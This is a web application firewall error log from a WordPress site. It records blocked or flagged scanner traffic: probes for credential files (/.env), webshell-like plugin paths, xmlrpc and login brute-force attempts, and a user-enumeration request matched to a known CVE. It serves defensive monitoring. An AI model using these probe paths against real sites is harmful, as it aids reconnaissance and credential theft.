[Thu Mar 26 01:53:58.178818 2026] [:error] [pid 32829:tid 32835] [client 145.239.66.9:40534] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acQhNnFEeazI9mYaKszqQgAAAEQ"]
[Thu Mar 26 01:54:01.431508 2026] [:error] [pid 55733:tid 55772] [client 145.239.66.9:40548] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acQhOaMzUauzYCgMHcngjwAAAJY"]
[Thu Mar 26 01:54:04.427191 2026] [:error] [pid 56131:tid 56142] [client 145.239.66.9:40564] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acQhPEg5t1V4ZYPCUhwxWgAAAAM"]
[Thu Mar 26 01:54:07.581007 2026] [:error] [pid 56131:tid 56151] [client 145.239.66.9:41658] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acQhP0g5t1V4ZYPCUhwxYQAAAAw"]
[Thu Mar 26 01:54:11.472850 2026] [:error] [pid 56131:tid 56160] [client 145.239.66.9:41662] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acQhQ0g5t1V4ZYPCUhwxawAAABU"]
[Thu Mar 26 01:54:13.973850 2026] [:error] [pid 32829:tid 32834] [client 145.239.66.9:41674] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acQhRXFEeazI9mYaKszqUwAAAEM"]
[Thu Mar 26 01:54:16.330973 2026] [:error] [pid 32829:tid 32839] [client 145.239.66.9:41686] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acQhSHFEeazI9mYaKszqXQAAAEg"]
[Thu Mar 26 01:54:18.583586 2026] [:error] [pid 55735:tid 55855] [client 145.239.66.9:41298] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "acQhSkhXsYCMQZKUd5OxdgAAAQE"]
[Thu Mar 26 01:54:20.943020 2026] [:error] [pid 56131:tid 56141] [client 145.239.66.9:41310] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "acQhTEg5t1V4ZYPCUhwxdgAAAAI"]
[Thu Mar 26 01:54:23.732528 2026] [:error] [pid 56131:tid 56157] [client 145.239.66.9:41326] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "acQhT0g5t1V4ZYPCUhwxdwAAABI"]
[Thu Mar 26 01:54:27.427643 2026] [:error] [pid 32829:tid 32852] [client 145.239.66.9:36400] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "acQhU3FEeazI9mYaKszqcQAAAFU"]
[Thu Mar 26 01:54:30.636517 2026] [:error] [pid 32829:tid 32838] [client 145.239.66.9:36408] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "acQhVnFEeazI9mYaKszqcwAAAEc"]
[Thu Mar 26 01:54:32.996356 2026] [:error] [pid 55735:tid 55861] [client 145.239.66.9:36422] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acQhWEhXsYCMQZKUd5OxigAAAQY"]
[Thu Mar 26 01:55:14.499111 2026] [:error] [pid 55735:tid 55876] [client 145.239.66.9:40864] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "acQhgkhXsYCMQZKUd5OxuwAAARQ"]
[Thu Mar 26 01:55:17.451550 2026] [:error] [pid 32829:tid 32831] [client 145.239.66.9:45036] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acQhhXFEeazI9mYaKszqtAAAAEA"]
[Thu Mar 26 01:55:20.190208 2026] [:error] [pid 55735:tid 55878] [client 145.239.66.9:45044] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "acQhiEhXsYCMQZKUd5OxvwAAARY"]
[Thu Mar 26 01:55:22.335176 2026] [:error] [pid 55734:tid 55847] [client 145.239.66.9:45052] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "acQhis_x4fL7PCmNzkCFcAAAANU"]
[Thu Mar 26 01:56:48.833917 2026] [:error] [pid 56131:tid 56153] [client 43.153.113.127:48112] [client 43.153.113.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acQh4Eg5t1V4ZYPCUhwyMQAAAA4"]
[Thu Mar 26 03:18:32.051525 2026] [:error] [pid 55733:tid 55750] [client 170.106.193.108:43770] [client 170.106.193.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acQ1CKMzUauzYCgMHcn29AAAAIQ"]
[Thu Mar 26 03:29:27.566753 2026] [:error] [pid 56131:tid 56154] [client 185.253.186.250:33286] [client 185.253.186.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.253.186.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQ3l0g5t1V4ZYPCUhxTDgAAAA8"]
[Thu Mar 26 03:38:59.197504 2026] [:error] [pid 32829:tid 32837] [client 185.253.186.250:3765] [client 185.253.186.250] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acQ503FEeazI9mYaKswgeQAAAEY"]
[Thu Mar 26 03:40:08.827763 2026] [:error] [pid 56131:tid 56150] [client 185.253.186.250:59125] [client 185.253.186.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.253.186.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQ6GEg5t1V4ZYPCUhxW4AAAAAs"]
[Thu Mar 26 03:42:08.277959 2026] [:error] [pid 56131:tid 56140] [client 185.253.186.250:4918] [client 185.253.186.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.253.186.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQ6kEg5t1V4ZYPCUhxXygAAAAE"]
[Thu Mar 26 03:44:11.185589 2026] [:error] [pid 55734:tid 55847] [client 185.253.186.250:21829] [client 185.253.186.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.253.186.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQ7C8_x4fL7PCmNzkCZMAAAANU"]
[Thu Mar 26 03:46:09.219422 2026] [:error] [pid 56131:tid 56160] [client 185.253.186.250:26560] [client 185.253.186.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.253.186.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQ7gUg5t1V4ZYPCUhxZvgAAABU"]
[Thu Mar 26 06:07:50.073607 2026] [:error] [pid 19818:tid 19835] [client 81.199.26.103:26597] [client 81.199.26.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acRctszaSnm3d1BeM5VXmwAAAM8"]
[Thu Mar 26 07:12:53.216131 2026] [:error] [pid 31670:tid 31678] [client 192.3.207.218:57319] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/artisan"] [unique_id "acRr9TXVthXxCnWjOTQxhQAAAUY"]
[Thu Mar 26 07:12:53.637894 2026] [:error] [pid 19818:tid 19831] [client 192.3.207.218:57866] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/artisan"] [unique_id "acRr9czaSnm3d1BeM5WNswAAAMs"]
[Thu Mar 26 07:12:54.837977 2026] [:error] [pid 19710:tid 19732] [client 192.3.207.218:58386] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/artisan"] [unique_id "acRr9gVEWP8Ar68Njk6pLgAAAAo"]
[Thu Mar 26 07:12:55.264410 2026] [:error] [pid 31670:tid 31693] [client 192.3.207.218:59185] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/artisan"] [unique_id "acRr9zXVthXxCnWjOTQxuAAAAVU"]
[Thu Mar 26 07:12:56.111909 2026] [:error] [pid 19818:tid 19839] [client 192.3.207.218:59660] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "acRr-MzaSnm3d1BeM5WN7wAAANM"]
[Thu Mar 26 07:12:56.531902 2026] [:error] [pid 19712:tid 19789] [client 192.3.207.218:60495] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "acRr-NWhKhRNqm23vFPeggAAAI0"]
[Thu Mar 26 09:00:34.084415 2026] [:error] [pid 60829:tid 60838] [client 43.131.36.84:55340] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acSFMvTdjHKeZokybaRF6gAAAQc"]
[Thu Mar 26 09:39:11.288188 2026] [:error] [pid 31670:tid 31688] [client 132.164.249.185:8797] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acSOPzXVthXxCnWjOTSBZQAAAVA"]
[Thu Mar 26 09:39:11.787417 2026] [:error] [pid 31670:tid 31675] [client 132.164.249.185:7117] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acSOPzXVthXxCnWjOTSBaAAAAUM"]
[Thu Mar 26 09:39:12.517128 2026] [:error] [pid 31670:tid 31673] [client 132.164.249.185:8801] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acSOQDXVthXxCnWjOTSBbQAAAUE"]
[Thu Mar 26 09:39:14.065913 2026] [:error] [pid 19818:tid 19839] [client 132.164.249.185:8716] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acSOQszaSnm3d1BeM5W2igAAANM"]
[Thu Mar 26 09:53:07.806134 2026] [:error] [pid 60829:tid 60849] [client 81.199.26.95:48387] [client 81.199.26.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSRg_TdjHKeZokybaRRvwAAARI"]
[Thu Mar 26 09:53:07.862976 2026] [:error] [pid 60829:tid 60832] [client 81.199.26.92:40411] [client 81.199.26.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSRg_TdjHKeZokybaRRwAAAAQE"]
[Thu Mar 26 10:04:14.500189 2026] [:error] [pid 19710:tid 19733] [client 85.203.15.81:55673] [client 85.203.15.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSUHgVEWP8Ar68Njk69TQAAAAs"]
[Thu Mar 26 10:04:14.502806 2026] [:error] [pid 19818:tid 19827] [client 85.203.15.88:22133] [client 85.203.15.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSUHszaSnm3d1BeM5XIRwAAAMc"]
[Thu Mar 26 10:17:19.043720 2026] [:error] [pid 19818:tid 19842] [client 85.203.15.49:41743] [client 85.203.15.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSXL8zaSnm3d1BeM5XRvAAAANY"]
[Thu Mar 26 10:17:19.043764 2026] [:error] [pid 19818:tid 19839] [client 85.203.15.246:60879] [client 85.203.15.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSXL8zaSnm3d1BeM5XRvQAAANM"]
[Thu Mar 26 10:30:22.347645 2026] [:error] [pid 19712:tid 19779] [client 81.199.26.105:44873] [client 81.199.26.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSaPtWhKhRNqm23vFPvMwAAAIM"]
[Thu Mar 26 10:30:22.349488 2026] [:error] [pid 19818:tid 19840] [client 85.203.15.73:36181] [client 85.203.15.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSaPszaSnm3d1BeM5XZxwAAANQ"]
[Thu Mar 26 10:43:18.477821 2026] [:error] [pid 31670:tid 31681] [client 81.199.26.98:63753] [client 81.199.26.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSdRjXVthXxCnWjOTSeXQAAAUk"]
[Thu Mar 26 10:43:18.483933 2026] [:error] [pid 60829:tid 60836] [client 81.199.26.102:46309] [client 81.199.26.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSdRvTdjHKeZokybaRb4wAAAQU"]
[Thu Mar 26 10:56:15.194304 2026] [:error] [pid 19818:tid 19824] [client 81.199.26.97:60687] [client 81.199.26.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSgT8zaSnm3d1BeM5XpdgAAAMQ"]
[Thu Mar 26 10:56:16.160122 2026] [:error] [pid 31670:tid 31674] [client 85.203.15.86:61943] [client 85.203.15.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSgUDXVthXxCnWjOTSkLAAAAUI"]
[Thu Mar 26 11:09:06.816463 2026] [:error] [pid 31780:tid 31841] [client 85.203.15.46:52031] [client 85.203.15.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSjUpJDwZsy5O4ZXEgBKAAAAhQ"]
[Thu Mar 26 11:09:06.821002 2026] [:error] [pid 31780:tid 31845] [client 85.203.15.46:63041] [client 85.203.15.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSjUpJDwZsy5O4ZXEgBKQAAAhg"]
[Thu Mar 26 11:21:59.607565 2026] [:error] [pid 19711:tid 19753] [client 85.203.15.95:49029] [client 85.203.15.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSmV2j3l1y81GYfluRjagAAAEQ"]
[Thu Mar 26 11:21:59.612101 2026] [:error] [pid 31780:tid 31841] [client 85.203.15.63:45155] [client 85.203.15.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSmV5JDwZsy5O4ZXEgGZwAAAhQ"]
[Thu Mar 26 11:34:36.409605 2026] [:error] [pid 19818:tid 19833] [client 81.199.26.104:31019] [client 81.199.26.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSpTMzaSnm3d1BeM5UFHwAAAM0"]
[Thu Mar 26 11:34:36.412457 2026] [:error] [pid 19712:tid 19800] [client 81.199.26.89:61277] [client 81.199.26.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSpTNWhKhRNqm23vFP1lwAAAJg"]
